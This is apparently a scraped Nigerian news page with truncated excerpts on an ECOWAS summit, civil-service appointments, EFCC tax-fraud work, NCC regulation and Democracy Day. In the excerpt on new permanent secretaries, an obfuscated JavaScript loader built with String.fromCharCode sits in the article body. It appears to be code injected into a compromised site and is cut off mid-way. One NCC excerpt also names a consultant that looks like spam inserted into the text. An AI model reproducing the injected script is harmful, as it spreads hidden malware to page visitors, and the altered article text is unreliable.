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President Muhammadu Buhari will participate in the 59th Ordinary Session of the ECOWAS Authority of Heads of State and Government in Accra, Ghana on Saturday, June 19, 2021.   The President, who will depart Abuja on Saturday, will join other Heads of State of Government of ECOWAS for the mid-year statutory meeting of the regional bloc, with the exception of Mali, which was recently suspended from the group.  Former President Goodluck Jonathan of Nigeria, ECOWAS Special Envoy and Mediator to Mali, is expected to present a report on his latest working visit to the West African country to the Summit of the Heads of State.  The Heads of State and Government will also receive a report on ECOWAS institutional reforms, single currency programmes and a memorandum on the pr...

President Muhammadu Buhari on Friday approved the appointment of 5 new Permanent Secretaries in the Federal Civil Service following just concluded selection process. The Director of Press and Public Relations in the Office of the Head of Service, Mr. AbdulGaniyu Aminu, in a signed statement made available to the media quoted the Head of the Civil Service of the Federation, Dr. Folsade Yemi-Esan, made the disclosure today (Friday). The newly appointed Permanent Secretaries include: Adebiyi Olusesan Olufunso, for Ekiti State, Onwudiwe Maryann Ngozi, Enugu State, Yusuf Idris for katsina State, Ogunbiyi Marcus Olaniyi, Lagos State and Ibrahim Abubakar Kana, Nasarawa State. var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,...

The Economic and Financial Crimes Commission (EFCC), is to collaborate with the Federal Inland Revenue Service (FIRS) and the Kano State Internal Revenue in tackling tax related frauds. The Head of the Kano Zonal office of the Commission, Mualledi Farouq Dogondaji stated this on Tuesday during a courtesy visit to both agencies in Kano. At KIRS, Dogondaji urged the Chairman to always report tax evaders to the Commission as the Zonal Office now have a full pledged Tax Fraud Section “We are ready to continue to work together to put our economy back on track. Tax is what is used to pay our wages and salaries. That is why we are here to tell you that our doors are open. If you have tax evasion cases, do not hesitate to come to us. We now have a special section dealing with that,”...

In demonstration of its regulatory mandate, responsiveness to global trends and the dynamics in the Information and Communications Technology (ICT) ecosystem, the Nigerian Communications Commission (NCC) has initiated the process for the review of existing licensing structure in the Nigerian telecommunications industry.  An important step towards achieving this was taken recently by the Executive Vice Chairman and Chief Executive Officer of NCC, Prof. Umar Danbatta, when he inaugurated an in-house Standing Committee to carry out the task. Danbatta, while inaugurating the Committee, said the need for the review of the existing license structure was informed by the wide range of technological advances, convergence of technologies and services which have characterized the global t...

The Senior Special Assistant to the President on Niger Delta, Senator Ita Enang has called on state governors to meet with all the youths in their state as a way of addressing the security challenges confronting the country. In an interview monitored in TV station in Abuja, he said: “We need to apologies to them and on my little part I apologies to them for the little we did not do at certain time and please let return back to the table. The Chief Press Secretary to the SSA, Mr. Edet Ekpenyong, quoted his boss as saying: “We, the leaders and elders have provoked the youths of this country, we did not plan for them, no government in this country PDP or APC can excuse himself for what is happening now. “When we were busy educating our children in the best of schools, what did we do...

By Frank Momodu The Nigerian Communications Commission (NCC) has concluded the process for determining the cost-based price of Mobile International Termination Rate (MITR) to ensure healthy competition on traffic handling for voice services between local and international operators in Nigeria.  The Commission made this known at the final Stakeholders’ Forum for the presentation of the study on cost-based pricing of mobile ITR, undertaken by Messrs Payday Advance and Support Services Limited, held at the Commission’s Head Office in Abuja on Tuesday, June 8, 2021 with Management Staff of the Commission physically in attendance while other critical industry stakeholders participated virtually. The forum was convened by the NCC to formally present the findings from the study, wh...

The Minister of State for Petroleum Resources, Chief Timipre Sylva has commended President Muhammadu Buhari for his giant strides in the Niger Delta which is making a huge impact on the people of the area. The Minister made this known on Friday while speaking at a ceremony to mark the execution of Shareholders Agreement between the Nigerian National Petroleum Corporation (NNPC), the Nigerian Content Development & Monitoring Board (NCDMB) and Zed Energy for the establishment of a 50 million litre Petroleum Products Terminal in Brass, Bayelsa State. The N10.5 billion Brass Petroleum Products Terminal project is expected to deliver an automated 50 million litre depot with two-way product jetty, automated loading bay, and 6 automated tanks for storage of 30 million litres of Premium...

Fellow Nigerians, I join you all today to commemorate and celebrate our Democracy Day.  It is a celebration of freedom and a victory for one people, one country and one Nigeria. 2.    As with all democracies we will always be going through improvement processes in our desire to reach the goal of a mature democracy, a strong, evolved and integrated nation state to be reckoned with globally. 3.    In the last two years we have witnessed and overcome a good number of testy challenges that would have destroyed other nations especially relating to our collective security. 4.   The indefatigable CAN DO Spirit of the Nigerian has sustained us and would keep pushing us to put these challenges behind us. 5.   Unfortunately some of these c...

Residents of the Federal Capital Territory have been assured of their safety during the 12th June Democracy Day celebrations and beyond.This assurance was given by the Permanent Secretary, FCTA, Mr Olusade Adesola following the routine FCT Security Committee meeting which was held on Thursday, 10th June 2021.In the words of Mr Olusade who presided over the meeting, “Residents of FCT are very peace loving. So, collectively, we are committed to a peaceful June 12 celebration. In this regard, our security agencies are catching on to this commitment and they have assured us that no stone will be left unturned in protecting the lives and properties of residents”.“Security agencies have marshalled various strategies that will be deployed during this period. So, one thing I can tell the resident...